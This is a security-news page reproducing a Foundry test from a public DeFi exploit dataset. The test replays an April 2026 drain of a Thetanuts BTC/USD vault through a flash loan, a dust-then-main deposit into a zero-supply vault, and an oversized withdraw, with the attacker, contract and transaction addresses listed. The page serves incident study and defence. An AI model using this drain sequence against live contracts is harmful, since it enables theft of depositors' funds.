Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/ThetanutsVaultShareRounding_exp.sol

Public reproduction file for dataset entry ThetanutsVaultShareRounding.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/ThetanutsVaultShareRounding_exp.sol104 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 0.15 WBTC
8// Attacker : 0xaea2d93328242389b3e34271252b1bc9253b718a
9// Attack Contract : 0xe26f5a496db55de2a69bdc4eef023927b3c2a209
10// Vulnerable Contract : 0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f5
11// Attack Tx : https://etherscan.io/tx/0x1bc83899060c27106b6fb4257b208925085794e83b21c444854442fd3554862c
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f5#code
16// @Analysis
17// Source : https://t.me/defimon_alerts/2933
18//
19// The Thetanuts BTC/USD covered call vault held WBTC while totalSupply() was zero.
20// The attacker flash-loaned WBTC, minted shares with two deposits, and called
21// initWithdraw(uint256) to redeem nearly all of the vault's pre-existing WBTC.
23address constant ATTACKER = 0xAea2d93328242389B3e34271252b1bC9253b718a;
24address constant HISTORICAL_ATTACK_CONTRACT = 0xE26F5a496db55De2a69Bdc4EEF023927B3c2A209;
25address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
26address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
27address constant THETANUTS_BTC_USD_VAULT = 0x80b8EEb34A2Ba5dd90c61e02a12eA30515dCa6f5;
29uint256 constant FORK_BLOCK = 24_923_218;
30uint256 constant WBTC_UNIT = 1e8;
31uint256 constant FLASH_LOAN_AMOUNT = 10 * WBTC_UNIT;
33contract ContractTest is BaseTestWithBalanceLog {
34 IERC20 private constant wbtc = IERC20(WBTC);
35 IThetanutsVault private constant vault = IThetanutsVault(THETANUTS_BTC_USD_VAULT);
36 IMorphoBuleFlashLoan private constant morpho = IMorphoBuleFlashLoan(MORPHO_BLUE);
38 function setUp() public {
39 vm.createSelectFork("mainnet", FORK_BLOCK);
41 fundingToken = WBTC;
42 attacker = ATTACKER;
44 vm.label(ATTACKER, "Attacker EOA");
45 vm.label(MORPHO_BLUE, "Morpho Blue");
46 vm.label(WBTC, "WBTC");
47 vm.label(THETANUTS_BTC_USD_VAULT, "Thetanuts BTC/USD Vault");
48 }
50 function testExploit() public balanceLog {
51 uint256 attackerBalanceBefore = wbtc.balanceOf(ATTACKER);
52 uint256 preExistingVaultWbtc = wbtc.balanceOf(THETANUTS_BTC_USD_VAULT);
53 assertGt(preExistingVaultWbtc, 0, "vault already holds WBTC");
54 assertEq(vault.totalSupply(), 0, "vault has zero shares before exploit");
55 assertEq(vault.balanceOf(address(this)), 0, "local attacker starts without vault shares");
56 assertEq(vault.balanceOf(HISTORICAL_ATTACK_CONTRACT), 0, "historical attack contract starts without shares");
58 wbtc.approve(THETANUTS_BTC_USD_VAULT, type(uint256).max);
59 wbtc.approve(MORPHO_BLUE, type(uint256).max);
61 // step 1: borrow WBTC from Morpho; Morpho calls onMorphoFlashLoan.
62 morpho.flashLoan(WBTC, FLASH_LOAN_AMOUNT, "");
64 uint256 profit = wbtc.balanceOf(address(this));
66 // step 5: forward the same final WBTC profit to the attacker EOA.
67 wbtc.transfer(ATTACKER, profit);
68 uint256 receiverProfit = wbtc.balanceOf(ATTACKER) - attackerBalanceBefore;
69 assertEq(receiverProfit, profit, "profit forwarded");
70 assertGt(receiverProfit, preExistingVaultWbtc * 99 / 100, "receiver captures vault pre-balance");
72 uint256 residualVaultWbtc = wbtc.balanceOf(THETANUTS_BTC_USD_VAULT);
73 assertEq(profit, preExistingVaultWbtc - residualVaultWbtc, "profit comes from vault pre-balance");
74 assertGt(profit, 0, "profitable WBTC drain");
75 }
77 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
78 require(msg.sender == MORPHO_BLUE, "only Morpho callback");
79 require(assets == FLASH_LOAN_AMOUNT, "unexpected loan amount");
81 // step 2: seed the zero-supply vault with the observed dust deposit.
82 uint256 firstDeposit = 2;
83 uint256 firstShares = vault.deposit(firstDeposit);
84 assertEq(firstShares, 1, "dust deposit mints one share");
86 // step 3: deposit the main WBTC amount at the vulnerable share rate.
87 uint256 secondDeposit = 468_000_000;
88 uint256 secondShares = vault.deposit(secondDeposit);
89 assertEq(secondShares, secondDeposit, "main deposit mints expected shares");
90 assertEq(vault.balanceOf(address(this)), firstShares + secondShares, "attacker holds all minted shares");
92 // step 4: an oversized withdraw request burns the attacker shares and releases the vault balance.
93 uint256 withdrawn = vault.initWithdraw(type(uint256).max);
94 assertGt(withdrawn, secondDeposit, "withdraw includes pre-existing vault WBTC");
95 assertEq(vault.balanceOf(address(this)), 0, "shares burned");
96 }
99interface IThetanutsVault {
100 function balanceOf(address account) external view returns (uint256);
101 function totalSupply() external view returns (uint256);
102 function deposit(uint256 amount) external returns (uint256 shares);
103 function initWithdraw(uint256 shares) external returns (uint256 assets);

Analysis

Dataset entry

Public Foundry test for “ThetanutsVaultShareRounding” (2026-04-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xaea2d93328242389b3e34271252b1bc9253b718a

  • Attack Contract

    0xe26f5a496db55de2a69bdc4eef023927b3c2a209

  • Vulnerable Contract

    0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f5

  • Attack Tx

    0x1bc83899060c27106b6fb4257b208925085794e83b21c444854442fd3554862c

File record

Name
ThetanutsVaultShareRounding
Path
src/test/2026-04/ThetanutsVaultShareRounding_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
026eab2c0434fcc383f70bb796147e13ce94d1aa
Language
Solidity
Size
105 lines
Date
2026-04-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/ThetanutsVaultShareRounding_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 026eab2c0434fcc383f70bb796147e13ce94d1aa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.